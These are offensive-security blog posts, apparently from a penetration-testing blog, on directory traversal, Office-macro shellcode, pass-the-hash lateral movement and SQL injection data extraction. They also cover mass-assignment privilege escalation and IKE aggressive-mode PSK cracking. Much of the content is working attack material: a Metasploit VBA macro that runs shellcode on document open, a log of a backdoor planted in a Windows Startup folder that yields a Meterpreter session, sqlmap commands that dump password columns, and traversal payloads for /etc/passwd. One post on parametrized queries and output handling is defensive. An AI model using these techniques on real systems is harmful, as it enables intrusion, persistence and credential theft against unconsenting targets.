Friday, February 17, 2012

Hunting & Exploiting Directory Traversal

In cktricky's last post he provided a great outline on the ins and outs of leveraging burp's built in support for directory traversal testing.  There are two questions, however, that should immediately come to mind once you are familiar with this tool:  How do I find directory traversal & what should I look for if I do?

Finding directory traversal is the hunt for dynamic file retrieval or modification.  The antonym, static file retrieval, is when the browser is delegated the request for a file on the server.  In other words, every <a href>, css call for a file/location, and even most JavaScript calls can be considered static.  You could copy the path of those requests into the browser address bar and grab the file yourself-- because that is pretty much what the browser is doing for you.  Dynamic file retrieval, however, is when you request a server based page/function which serves you a file.  Think of it as the difference between calling someone directly on the phone vs. calling an operator who calls that person and patches you in.

Dynamic file serving takes place for a variety of reasons, such as: user content download locations, dynamic image rendering/resizing features, template engines, language parameters*, AJAX to services type calls, sometimes in cookies, and occasionally are how pages themselves get served.  These all basically look something like:

    somefunction.php?img=/some/place/graphic.jpg 

    or 

    somefunction.php?page=/view/something 

The path to the file can either be relative (../../../etc) or in some more rare cases absolute (c:/windows/boot.ini).  Additionally, these requests might be base64 or ROT13 encoded or sometimes encrypted.  Neither is a stop get.

You might think language parameters are an odd location for directory traversal, but after talking with my co-workers*, they reminded be about dynamic file modification.  Some frameworks use parameters (such as language) to prefix a directory to the request or alter the file name for the appropriate language.  Ergo:

    cookie: language=en-us;

    could turn into:

    File.Open('/' + language '/' + some-file);
  File.Open('/' + language + '.' + some-file);


If that is true, you can alter the root of a request, then use terminators to kill off the rest of what gets appended (null chars ftw) such as:

    cookie: language=../../../../../etc/passwd
  cookie: language=../../../../../etc/passwd;

Language, template/skin name, or occasionally environment type variables (such as location=PROD, DEBUG, etc...).  Anything that might be prefixed to a file name or directory to search is fair-game for that.

Now what?

Once you've identified a location which appears to be ripe for the testing-- how do you verify and what would you do?  To verify, I have found two approaches that work well: default files & known files.

The first approach is based on looking for default files on the file system.  Since you are mostly blind to what exists on a server, you look for the existence of these defaults to see if they can be retrieved.  There are two resources which I've found helpful.  The first is Mubix's list of post-exploitation commands.  In addition to a helpful list of commands for post exploit, the list includes very common files you might want to look for and steal (by operating system).  The second resource is the Apache Default layout per OS.  This can be really useful if you are attacking a system using Apache, to grab known configurations.  For non-Apache web servers, I usually install them locally and see what the default layout looks like manually.

The second approach comes into play if the first fails (and it might) because the user-context of the site doesn't have the authority to access those files.  So you have to request files you can be reasonably sure it has access to-- the webpages it already serves.  In this approach you attempt to serve other parts of the webpage, relative to the location you are currently looking at.  As a contrived example, say you see a layout something like:

    /mainpage.asp
  /vulnerableFeature.asp?path=/images/some-image.jpg

you'd test for:

    /vulnerableFeature.asp?path=../mainpage.asp
  /vulnerableFeature.asp?path=/mainpage.asp

Since you know that the user-context of the site has the authority to serve those pages, it -should- be a fairly practical way to verify if your directory traversal is working.  You may even get back source code this way. :-)

If you are attempting to take over the server, you should be looking to steal resources which would help you with that (such as the passwd & sam files).  If you are attempting to do an involuntary code review, you should steal the source code from the pages you are looking at.  There are occasionally hard coded credentials source, but application configuration files are often gold for credentials.  I've found database, admin users, SMTP credentials and FTP users this way.

Some final things to consider:
  • Most operating systems support the use of environment variables/shortcuts for locations such as %home% or ~.  This is useful to remember if there are protections against using a period or two successive periods.
  • When dynamic features serve files, they often violate other protections.  In IIS for instance various extensions cannot be served by the server (.config files for instance).  However in most directory traversals you can pull the web.config file out w/o many problems.
  • User controlled uploads often get served dynamically because there isn't a way for the server to know before-hand what the files are.  You can sometimes find directory traversal here by uploading files with weird path's in their names (or renaming them after upload). 
  • Developers sometimes leave clues to file's physical locations in comments.  I once downloaded a source for an entire site because of this. 
  • Image / gallery plugins for CMS's are notorious for directory traversal.
  • Error messages are your friend here.  If you get a system/application error instead of a file not found type error, you can at least use the mechanism to check for existence of files.
Happy Hunting.

-kuzushi 


* Thanks DC & AJ

   

Sunday, February 5, 2012

Easy Directory Traversal with Burp

Often, I'll use Burp Suite's directory traversal Intruder payload list. A step exists that must be performed in order to effectively leverage the traversal payload. We'll briefly cover this.


Intruder with the insertion point (fuzzing the file parameter)


Burp's fuzzing-path traversal payload, available under the preset list payload set, has a placeholder that represents the filename you'd like to fuzz for. This placeholder "{FILE} ", must be substituted with an actual filename (ex: /etc/passwd).

Payload processing rule added, match replace, regular expression form \{FILE\}
As you can see, the additional step was adding a payload processing rule. We chose match/replace, escaped characters that represent regular expressions (curly braces {}) by placing a backslash in front of them and replaced them with etc/passwd.

Lastly, don't forget to select/deselect the URL-encoding of characters based on your needs.

HTH,

cktricky

Friday, February 3, 2012

Direct Shellcode Execution via MS Office Macros with Metasploit

scriptjunkie recently had a post on Direct shellcode execution in MS Office macros I didnt see it go into the metasploit trunk, but its there.  How to generate macro code is in the post but i'll repost it here so i dont have to go looking for it elsewhere later. He even has a sample to start with so you can see how it works.  Just enable the Developer tab, then hit up the Visual Basic button to change code around.

msf > use payload/windows/exec
msf  payload(exec) > set CMD calc
CMD => calc
msf  payload(exec) > set EXITFUNC thread
EXITFUNC => thread
msf  payload(exec) > generate -t vba
#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long
#EndIf

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
        Dim  Xlbufvetp As LongPtr
#Else
        Dim  Xlbufvetp As Long
#EndIf
        Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
        Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub
Sub AutoOpen()
        Auto_Open
End Sub
Sub Workbook_Open()
        Auto_Open
End Sub

The important thing to remember is that with this method you'll NOT be dropping a vbs or bin and you'll be running inside of excel/word/whatever so you need to make sure you set up an autorunscript or macro to migrate out of the process else you'll be losing the shell as soon as they exit the office application.

Monday, January 23, 2012

psexec fail? upload and exec instead

I ended up having to use the smb/upload_file module on a pentest.  I was able to get the local admin hashes but for some reason the psexec module wouldn't get code execution, it would act like it would work but wasn't.  So we decided to push a binary, use winexe that was modified to pass the hash to exec the binary as needed.  It went something like this... ##################################################
# add a route to the 10.x network thru session 1
##################################################

msf  exploit(handler) > route add 10.0.0.0 255.255.255.0 1
[*] Route added

#######################################################
# psexec wouldnt work. AV eating metsvc most likely...
# used smb/upload_file to place a binary on the box
######################################################
msf  exploit(handler) > use auxiliary/admin/smb/upload_file
msf auxiliary(upload_file) > info

    Name: SMB File Upload Utility
    Module: auxiliary/admin/smb/upload_file
    Version: 10394
    License: Metasploit Framework License (BSD)
    Rank: Normal

Provided by:
  hdm

Basic options:

  Name      Current Setting                               Required  Description
  ----      ---------------                               --------  -----------
  LPATH                     yes       The path of the local file to upload
  RHOST                     yes       The target address
  RPATH                     yes       The name of the remote file relative to the share
  RPORT     445             yes       Set the SMB service port
  SMBSHARE  C$             yes       The name of a writeable share on the server

Description:
  This module uploads a file to a target share and path. The only
  reason to use this module is if your existing SMB client is not able
  to support the features of the Metasploit Framework that you need,
  like pass-the-hash authentication.

msf  auxiliary(upload_file) > set SMBUser Administrator
SMBUser => Administrator
smsf  auxiliary(upload_file) > set SMBPass aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
SMBPass => aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
msf auxiliary(upload_file) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(upload_file) > set LPATH /home/chris/msf3/msf_backdoor.exe
LPATH => /home/chris/msf3/msf_backdoor.exe
msf auxiliary(upload_file) > set RPATH "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\msf_backdoor.exe"
RPATH => C:\Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe
msf auxiliary(upload_file) > run
[*] Read 13616 bytes from /home/chris/msf3/msf_backdoor.exe...
[*] Connecting to the server...
[*] Mounting the remote share \\1.2.3.4\C$'...
[*] Trying to upload Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] The file has been uploaded to Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] Auxiliary module execution completed

################################################
#Set up a portforward to talk to hosts via SMB
################################################

meterpreter > portfwd add -l 445 -p 445 -r 1.2.3.4
[*] Local TCP relay created: 0.0.0.0:445 <-> 1.2.3.4:445

#####################################################################
# Use winexe with pass the hash to get cmd shell and run the binary
#####################################################################

user@ubuntu:~/Desktop/winexe-hash$ export SMBHASH=aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
user@ubuntu:~/Desktop/winexe-hash$ ./winexe -U administrator //1.2.3.4 "cmd"
Password for [WORKGROUP\administrator]:
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : inside.company.com
        IP Address. . . . . . . . . . . . : 1.2.3.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 1.2.3.254

C:\WINDOWS\system32>
C:\Documents and Settings\All Users\Start Menu\Programs\Startup>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0007-B088

 Directory of C:\Documents and Settings\All Users\Start Menu\Programs\Startup

01/13/2012  03:55 PM             .
01/13/2012  03:55 PM             ..
01/13/2012  03:55 PM            13,616 msf_backdoor.exe
               1 File(s)         13,616 bytes
               2 Dir(s)  241,661,345,792 bytes free

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>msf_backdoor.exe
msf_backdoor.exe

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>

[*] 5.5.5.5:4889 Request received for /INITM...
[*] 5.5.5.5:4889 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 5 opened (5.5.5.5:443 -> 6.6.6.6:4889) at Wed Jan 18 22:02:03 +0000 2012

Friday, January 13, 2012

"Sanitize Input"



When application security was still in it’s infancy, there were discussions on how to protect applications from newly discovered injection vulnerabilities. "Sanitize Input" was a popular solution that rolled off the tongue nicely and was not overly complicated to explain. It was also, a very generic solution that would (hopefully) be part of a more complete approach.

As much as "Sanitizing Input" makes sense, so does writing your code in a way which, allows you to handle failure safely. This way, when the unexpected does happen, an entire operation doesn't fall down, introduce a bug or propagate unsafe data.




Question: When does this approach fail miserably?

Answer:  When it is the only approach you have.




The OWASP Top 10 categorizes XSS and SQL Injection separately. As an attacker, you are injecting data that is handled insecurely by application code. In this way, it is really just another form of injection. On that note, let’s discuss two manifestations of injection. SQL Injection and HTML Injection (XSS). I'd like to demonstrate other ways to think about or handle data beyond just "Sanitize Input". If you take away nothing more from this article, I'd like it to be that applications are unique, there is a level of complexity to design choices and solutions and there are more options than "Sanitize Input" available.

SQL Injection: "Save your one-liners for the bar". Parametrization of database queries is a classic method for handling queries safely and in many cases more efficiently. From a security standpoint, parametrized queries help to solidify the boundaries between user data and SQL statements. It ensures that data submitted by the user will be separated from the actual database query and won’t interfere with the SQL code and ultimately the database.

Example of lazy code....

http://www.example.com/example.php?user_name=gevans

$uname = $_GET['user_name']

....and this is the classic example everyone shows, nothing new here, that illustrates a SQL Injection flaw where the data ($uname) is actually included in the SQL statement.

"SELECT user_id from users where username = $uname;"


This programming flaw has destroyed the boundary between the SQL command and user-supplied input. Because the user data is now cast as a string-- it is no longer clear to the SQL server what part was supplied by the developer and what was supplied by the user. The whole query can fall apart by appending double quotes. This is not just a vulnerability, this is bad programming. Sure, it takes one line to write the query but there is no further sanity checking here. The string is formed, sent to the server, and executed as SQL. How are parametrized queries different?

Parametrized queries separate the data from the query so that we as coders don’t miscommunicate our intentions to the database server. How does it work? The majority of the query is sent to the server MINUS the actual user submitted data. So, the query is prepared (meaning sent to the server), a response comes back with a token (minus MySQL as I understand it), and THEN, the variable is sent to the server with the token and a SQL query executes. This means the expected query and actual data that we've gathered from the user are separated prior to execution.

Lets provide a visualization

// Pass in db credentials as well as the host it is located on and the database we'd like to connect to

$conn = new PDO("mysql:host=$dbhost;dbname=$dbname",$dbuser,$dbpass);

// Prepare the statement
$sql = "SELECT user_id from users where username = ?";


//Execute the query, taking in the variable data ($uname) from the user
$q = $conn->prepare($sql);
$q->execute(array($uname));
$object = $q->fetchColumn();






As you can see, the $sql statement is prepared and the server knows exactly what it should look like. Next, the SQL statement is executed, passing in the variable value in place of the "?" (shown above). By specifying that question mark, you tell the db, this is my statement but I don't know what the value will be.....I'll give you that on the next call.



Lets examine XSS. Again, something I hear a lot is "Sanitize your input". Some people even go as far as "Whitelist" versus "Blacklist". Okay, great, that is not extensible and ultimately context matters. What do I mean? It is a very one-sided approach with a lot of assumptions. Let me draw a picture for you. The understanding, as of right now, is the data comes in one place and is potentially echoed in another. So the model looks something like this:



A typical example would be a registration form. You sign up with your First Name, Last Name, etc. Upon successful authentication to the application, you notice a little message at the top right.... 


So....."Welcome, Ken!", I wonder where that value came from? When we registered, our information was stored in the db, later extracted after login, and shown on the page. Now, we should be safe right? Even if we had attempted to place JavaScript in the First Name value upon registration, it wouldn't have mattered.....We Sanitized!!! 

Two months later, a user complains that they signed up with a misspelled username and would like the ability to change it. A new developer is assigned the task of adding the ability to edit your first and last name and does so. The new developers assumption is that we are going to safely handle that data when rendered to the user. But we aren't. We sanitized the input and didn't bother with handling the data. Our model has changed from Input/Output to......



So with one additional point of input, our model gets (very slightly) more complicated. Now imagine adding multiple points of input, multiple points of output. Now split input into data entry (processed), storage handling (stored in the db) and then do the same for output. While we are at, lets throw a web-service that consumes the data as well. It becomes very easy to see how "Sanitize Input" doesn't scale, isn't a sure-fire solution, and really oversimplifies the problem for those who are looking to either receive or give an easy answer.

In summary, please join me in the fight to stop the mindless regurgitation of old material.

Cheers,

Ken


Tuesday, December 20, 2011

Insecure Object Mapping

Over the last two cycles of OWASP top 10, insecure direct object reference has been included as major security risk. An object reference is exposed and people can manipulate that to access other objects they aren’t supposed to. But an apparently lesser-known problem is when the object itself is directly exposed. This happens when an object maps user-controlled form data directly to it’s properties with out validation.

Perhaps this issue gets less press because every language calls this problem something different. In ruby, people call this mass assignment. In .NET and Java it’s often referred to as reflection binding. Regardless of name, it is how the object obtains it’s data which is of concern.

In ruby, vulnerable code might look like this:

     @foo = Foo.new(params[:foo])

The params call wants to make life easy and will automagically map any form data that matches the object’s parameters for you—unless you say otherwise. This is a very common convention used in MVC frameworks, because manually mapping a form POST to an object is annoying. The problem here is that it makes no difference to the controller whether you’ve exposed that field in the presentation layer. It just has to exist on the object.

In other words-- if you were updating a product quantity for your shopping cart, you might be able to change the price by guessing that a price field exists. Just add the price field to your POST parameters and it might override the value. This approach can be effective—but it is mostly a guessing game at that point. Some frameworks let you throw tons of arbitrary data and whatever sticks, sticks. Others will barf on invalid parameters.

There is a second route, however, which is why vulnerability deserves more attention. When I said that you are allowed to map to anything on the object, I meant it. You can map complex objects to other complex objects, as far as they related to each other. Lets look at an example in C#:

     public class Foo { 
          public string name { get; set;} 
          public Bar myBar { get; set;}
     }

     public class Bar { 
          public string name { get; set;} 
          public bool is_admin = { get; set;} 
     }

Two basic classes, foo and bar. Foo has a reference to bar. In MVC.Net, you bind a controller action to “create” Foo as such:
 

     public class FooController { 
          [HttpPost] 
          public ActionResult Create (Foo foo){
               /* save Foo to database */ 
               return View(); 
          } 
     }

Behind the scenes, the framework maps all of the form data directly into the foo object. Developers also sometimes do this directly by calling the UpdateModel() function. In either usage, if someone sent a malicious POST to the “Create” view:
 

     Foo.Bar.name=“hello”&Foo.Bar.is_admin=true&Foo.name=“myfoo”;

You’d end up with a full fleshed out object where:
 

     Foo.name = “myfoo” 
     Foo.Bar.name = “hello” 
     Foo.Bar.is_admin = true

The Bar object is instantiated automatically through it’s empty constructor, and it’s properties are mapped as well. Any reference the exposed object has, you can bind to. This also works for arrays of simple or complex types too. If instead of a single instance you had an array or List<Bar> you would just do the following:
 

     Foo.Bar[0].name=“hello”&Foo.Bar[0].is_admin=true

With out any other validations, this is all kosher.

In the wild I’ve used this attack to escalate privileges by updating my profile and walking down to a permissions table. I’ve also run across places where you could register every user to come to an event. And another instance where you could take over other people’s blog posts simply by editing your own profile.

If you search for this during tests, here are some key things I’ve learned:

  1. This vulnerability is best identified with access to source code—and very few developers seem to protect against it.
  2. When reviewing code, pay attention to how the constructor works and how fields are set on the object. Some properties are set via functions and you can’t bind them directly. Other objects don’t have empty constructors. This causes the attack to fail.
  3. I frequently find this vulnerability on “update” and “create” controller actions.
  4. You can, and I have, found this w/o source—its just harder. You do so by creating a loose type map through browsing the site.
You can create a type map by following a process like this:
  • Going to the object's “create” page and note all the form fields that are there. That is your basic “object”. As you see these objects in other places on the site, they might reveal more about their structure.
  • The site will guide you in what you need to know about object relationships. If you are looking at your cart, and it has a list of products & their details-- the cart object has a list of products.
  • For everything else, there are common object relationships you can just assert. Carts do generally have products, just as people generally have permissions. Take some time and look over common object models on the interwebs.
This attack route exists on pretty much every MVC based framework. In particular, Spring, Struts, MVC.Net and Ruby on Rails are all vulnerable. Maybe others, but those are so popular I’ve not really looked much deeper into it.

It is true that developers can prevent this by white listing specific fields to bind—but they don’t. The whole point of the convenience functions is convenience. If you’ve built an MVC application and didn’t go out of your way to protect against this—you are most likely vulnerable to it.

Happy hunting.


-kuzushi

Tuesday, December 13, 2011

Not 0wning That ColdFusion Server but Helping...

Stephen, @averagesecguy, wrote a post on owning a ColdFusion server. its pretty good and he wrote some code to help things along.

Code: https://github.com/averagesecurityguy/scripts

I thought I'd add to the conversation with some stuff I found doing CF research. The code he wrote and the metasploit module works great if things are in their default locations. Of course, this will never be the case when you are on a PT and need to break into that mofro.

Anyway, there is a misconfiguration that, when its present, can greatly help you exploit that locale traversal attack. Alot of time you can get the sha1.js and verify that the patch is not applied.


Anyway, more than once I've gotten that far but the host was Linux and locating the password.properties file failed. You're essentially guessing blind. So what i discovered is that sometimes the componentlist.cfm [Site/CFIDE/componentutils/componentlist.cfm] file is available. It looks like this:


Click on one of the components and you get full path to the installed component:

Not the best example, because stuff is where we would expect it to be. This one is better:


Now you know where to direct that directory traversal to get the proper file.

Other reading:
http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

Sunday, December 11, 2011

Root that Motorola Xoom and Get You Some BT5

Rooting the Xoom and putting BT5 on it...

Check out

http://wiki.rootzwiki.com/Motorola_Xoom

For instructions to get android sdk (adb/fastboot) up and running. fastboot wasnt in the current sdk. i downloaded release 1.6.r1 from http://developer.android.com/sdk/older_releases.html and put that in my platform-tools directory.

Links for the root image and what not are busted there, so go to

http://www.xoomforums.com/forum/motorola-xoom-development/9621-root-universal-xoom-root-any-xoom-any-update.html

Follow instructions. make sure to copy the Xoom-Universal-Root.zip to EXTERNAL sdcard before you start :-)

I followed the instructions exactly as written and after reboot the Xoom was rooted.

For BT5:

go here http://www.backtrack-linux.org/downloads/, download BT5 for ARM.

unzip file, follow instructions in readme. It takes awhile to copy and extract things. I had two adb shells so i could watch the progress.



Similar instructions here: http://www.secmaniac.com/blog/2011/05/15/backtrack-5-on-motorola-xoom-in-10-minutes-or-less/

The result:
Of course, about 5 seconds of trying to type on it made me not think it was so cool. So if there is an easy way to make it suck less to send text the console let me know.

Friday, December 9, 2011

SQLMap -- Searching Databases for Specific Columns/Data & Extracting from Specific Columns

So assuming we have some sort of SQL Injection in the application (Blind in this case) and we've previously dumped all the available databases (--dbs), we now want to search for columns with 'password' in them.

To search all databases for 'password'
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -C 'password'
To search a specific database for 'password'
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --time-sec=1 --search -D 'MYDATABASE' -C 'password'

**note, that once sqlmap was done with 'MYDATABASE' it checked the rest of the DBs**

[15:28:17] [INFO] fetching columns LIKE 'password' for table 'dbo.mytable' on database 'MYDATABASE'
You'll get asked:
do you want sqlmap to consider provided column(s):

[1] as LIKE column names (default)
[2] as exact column names
> 1
You'll want to give it a 1 first time around, it will probably give you stuff like this:
[15:27:38] [INFO] retrieved: 2
[15:28:22] [INFO] retrieved: Password
[15:29:18] [INFO] retrieved: PrintPasswords
We now know that we want to go back and enumerate/dump the column values from dbo.mytable and database MYDATABASE to see if there is anything good there. Mostly likely there is also a userID or LogonId in there we need to extract as well.
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --columns -T dbo.mytable -D MYDATABASE --time-sec=1
You could also just do a dump if you want to start grabbing data
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1
If you just want to pull a certain number of rows, you can also give a --start and --stop switch (--start=1 --stop=10) <--sometimes works, sometimes doesnt. Not sure whats up with that.
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10
If you just want to just pull out certain columns you can do something like this (assuming columns LogonId and Password):
python sqlmap.py -u "http://192.168.1.1/mypath/mypoorlywrittenapp.asp?SessionID=" --dump -C LogonId,Password -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10
I'm sure I just committed some SQLMap sins, so please correct me (like last time) :-)

-CG

Wednesday, December 7, 2011

Aggressive Mode VPN -- IKE-Scan, PSK-Crack, and Cain

There hasnt been much in the way of updates on breaking into VPN servers that have aggressive mode enabled.

ike-scan is probably still your best bet.

If you have no idea what i'm talking about go read this:
http://www.sersc.org/journals/IJAST/vol8/2.pdf and
http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf

In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It's possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.

This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such facts IKE aggressive mode is not very secure.

It looks like this:
$ sudo ike-scan 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)
Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).
0 returned handshake; 1 returned notify

$ sudo ike-scan -A 192.168.207.134
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ikescan/)

192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28cXXXXXXXXXXXXXXX (Cisco Unity) VID=afcad71368a1XXXXXXXXXXXXXXX(Dead Peer Detection v1.0) VID=06e7719XXXXXXXXXXXXXXXXXXXXXX VID=090026XXXXXXXXXX (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.207.134) Nonce(20 bytes) Hash(16 bytes)
To save with some output:
$ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key
Once you have you psk file to crack you're stuck with two options psk-crack and cain

psk-crack is fairly rudamentary

to brute force:

$psk-crack -b 5 192-168-207-134key
Running in brute-force cracking mode
Brute force with 36 chars up to length 5 will take up to 60466176 iterations

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)
Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=
$ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
Running in brute-force cracking modde
Brute force with 63 chars up to length 5 will take up to 992436543 iterations
To dictionary attack:

$psk-crack -d /path/to/dictionary 192-168-207-134key
Running in dictionary cracking mode

no match found for MD5 hash 5c178d[SNIP]
Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)
You may find yourself wanting a bit more flexibility or options during bruteforcing or dictionary attacking (i.e. character substition). For this you'll need to use Cain. The problem I ran in to was Cain is a Windows tool and ike-scan is *nix. I couldnt get the windows tool that is floating around to work. Solution...run in vmware and have Cain sniff on your VMware interface. The PSK should show up in passwords of the sniffer tab, then you can select and "send to cracker". Its slow as hell, but more options than psk-crack.